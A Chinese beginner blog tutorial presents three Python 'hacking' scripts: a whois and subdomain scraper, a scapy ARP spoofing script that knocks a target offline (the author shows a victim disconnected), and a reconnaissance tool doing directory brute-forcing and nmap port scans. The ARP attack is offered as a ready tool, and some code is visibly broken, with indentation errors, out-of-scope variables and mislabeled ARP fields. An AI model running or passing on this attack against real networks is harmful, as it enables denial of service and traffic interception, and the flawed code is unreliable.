新手Python黑客工具入门

前言

为了满足新手对Python的追求,特写了三个初级Python入门工具。第一期写了三个初级工具,希望新手看完以后可以对Python的脚本有一个基本了解。高手请绕过此文章!

一件套 pythond requests模块构造一个whois信息收集器
二件套 python编写一个arp断网攻击
三件套 目录信息收集

一件套前言:
带给想写项目但无从下手的朋友们,这些脚本都比较容易理解。

简单梳理一下此工具需要具备哪些功能。脚本获取信息如下:

  • IP信息
  • 子域名
  • 备案
  • 注册人
  • 邮箱
  • 地址
  • 电话
  • DNS

具体操作如下:

我们要用到的模块是requests

python环境:py3

安装方法:pip install requests或python steup.py install

通过http://site.ip138.com来进行查询

好了现在我们开始构造我们的代码,代码里面有详细的注释

#首先我们要导入requests模块和bs4模块里的BeautifulSoup和time模块
import requests
import time
from bs4 import BeautifulSoup
#设置好开始时间点
strat=time.time()
def chax():
  #询问用户要查询的域名
  lid=input('请输入你要查询的域名:')
  #设置浏览器头过反爬
  head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  #设置好url
  url="http://site.ip138.com/{}/".format(lid)
  urldomain="http://site.ip138.com/{}/domain.htm".format(lid)
  url2="http://site.ip138.com/{}/beian.htm".format(lid)
  url3="http://site.ip138.com/{}/whois.htm".format(lid)
  #打开网页
  rb=requests.get(url,headers=head)
  rb1=requests.get(urldomain,headers=head)
  rb2=requests.get(url2,headers=head)
  rb3=requests.get(url3,headers=head)
  #获取内容并用html的方式返回
  gf=BeautifulSoup(rb.content,'html.parser')
  print('[+]IP解析记录')
  #读取内容里的p标签
  for x in gf.find_all('p'):
    #使用text的内容返回
    link=x.get_text()
    print(link)
gf1=BeautifulSoup(rb1.content,'html.parser')
print('[+]子域名查询')
for v in gf1.find_all('p'):
  link2=v.get_text()
  print(link2)
gf2=BeautifulSoup(rb2.content,'html.parser')
print('[+]备案查询')
for s  in gf2.find_all('p'):
  link3=s.get_text()
  print(link3)
gf3=BeautifulSoup(rb3.content,'html.parser')
print('[+]whois查询')
for k in gf3.find_all('p'):
  link4=k.get_text()
  print(link4)
chax()
end=time.time()
print('查询耗时:',end-strat)

运行截图:


image

二件套:
使用python编写一个arp断网攻击
2.介绍scapy模块

3.安装scanpy模块

4.编写arp攻击的脚本

你们知道arp攻击的原理吗?如果不知道不要紧,下面开始介绍:

arp攻击原理:通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者

只要持续不断发送arp包就能造成中间人攻击或者断网攻击。(PS:我们只需要scapy里的一些参数就可以实现)

scapy介绍:
Scapy是一个Python程序,使用户能够发送,嗅探和剖析和伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

换句话说,Scapy是一个功能强大的交互式数据包处理程序。它能够伪造或解码大量协议的数据包,在线上发送,捕获,匹配请求和回复等等。Scapy可以轻松处理大多数经典任务,如扫描,追踪,探测,单元测试,攻击或网络发现。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一个小例子:

ps:scapy正确的食用手册请认真看完介绍和部分基础:https://phaethon.github.io/scapy/api/introduction.html

安装scapy:

py2安装方法:

pip install scapy

py3安装方法:

pip install scapy3

更多的安装方法:https://phaethon.github.io/scapy/api/installation.html

我的系统环境是:Kali Linux下

各位读者可以考虑一些使用以下系统环境:

Centos

Ubuntu

Mac os

ps:尽量不要使用windows,windows会报错!

缺少windows.dll,具体这个dll安装后会不会又报错官方没给出答复

编写攻击的脚本:
Ether是构造网络数据包
ARP进行ARP攻击
sendp进行发包

    import os
    import sys
    from scapy.layers.l2 import getmacbyip
    from scapy.all import (
      Ether,
      ARP,
      sendp
    )

    #执行查看IP的命令
    ifconfig=os.system('ifconfig')
    print ifconfig
    gmac=raw_input('Please enter gateway IP:')
    liusheng=raw_input('Please enter your IP:')
    liusrc=raw_input('Please enter target IP:')
    try:
    #获取目标的mac
      tg=getmacbyip(liusrc)
      print tg
    except Exception , f:
    print '[-]{}'.format(f)
    exit()
    def arpspoof():
      try:
    eth=Ether()
    arp=ARP(
        op="is-at", #arp响应
        hwsrc=gmac, #网关mac
        psrc=liusheng,#网关IP
        hwdst=tg,#目标Mac
        pdst=liusrc#目标IP
    )
    #对配置进行输出
    print ((eth/arp).show())
    #开始发包
    sendp(eth/arp,inter=2,loop=1)
      except Exception ,g:
      print '[-]{}'.format(g)
      exit()
    arpspoof()

攻击图:


image

从受害者的角度来观看:


image

受害者已经断网了
说明我们的脚本攻击成功

三件套:
俗话说的话想要挖web漏洞就必须做好前面的信息收集
下面我们来写一个收集信息的脚本。

准备:

安装好requests,bs4模块:
pip install requests
pip install bs4
或者去下载好对应的模块压缩包
然后找到steup.py执行python steup.py install

思路:
使用requests.headers()获取http头部信息
通过htp响应码来判断robots是否存在
通过http响应码判断存在的目录
通过nmap判断开放的端口(PS:这里我是使用os模块来进行nmap命令扫描)我这边的nmap模块一调用,nmap就会出现停止运行
通过爬取某网站获得对应的whois,IP反查域名的信息。

开始:

import requests
import os
import socket
from bs4 import BeautifulSoup
import time
#获取http指纹
def Webfingerprintcollection():
  global lgr
  lgr=input('请输入目标域名:')
  url="http://{}".format(lgr)
  header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  r=requests.get(url,headers=header)
  xyt=r.headers
  for key in xyt:
      print(key,':',xyt[key])
Webfingerprintcollection()
print('================================================')
#判断有无robots.txt
def robots():
  urlsd="http://{}/robots.txt".format(lgr)
  header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  gf=requests.get(urlsd,headers=header,timeout=8)
  if gf.status_code == 200:
      print('robots.txt存在')
      print('[+]该站存在robots.txt',urlsd)
  else:
      print('[-]没有robots.txt')
robots()
print("=================================================")
#目录扫描
def Webdirectoryscanner():
  dict=open('build.txt','r',encoding='utf-8').read().split('\n')
  for xyt in dict:
      try:
        header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
        urljc="http://"+lgr+"{}".format(xyt)
        rvc=requests.get(urljc,headers=header,timeout=8)
        if rvc.status_code == 200:
            print('[*]',urljc)
      except:
          print('[-]远程主机强迫关闭了一个现有的连接')
Webdirectoryscanner()
print("=====================================================")
s = socket.gethostbyname(lgr)
#端口扫描
def portscanner():
  o=os.system('nmap {} program'.format(s))
  print(o)
portscanner()
print('======================================================')
#whois查询
def whois():
   heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
   urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr)
   rvt=requests.get(urlwhois,headers=heads)
   bv=BeautifulSoup(rvt.content,"html.parser")
   for line in bv.find_all('p'):
       link=line.get_text()
       print(link)
whois()
print('======================================================')
#IP反查域名
def IPbackupdomainname():
    wu=socket.gethostbyname(lgr)
    rks="http://site.ip138.com/{}/".format(wu)
    rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
    sjk=requests.get(rks,headers=rod)
    liverou=BeautifulSoup(sjk.content,'html.parser')
    for low in liverou.find_all('li'):
        bc=low.get_text()
        print(bc)
IPbackupdomainname()
print('=======================================================')

运行截图:


image

三件套下载地址Github:https://github.com/422926799/python

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容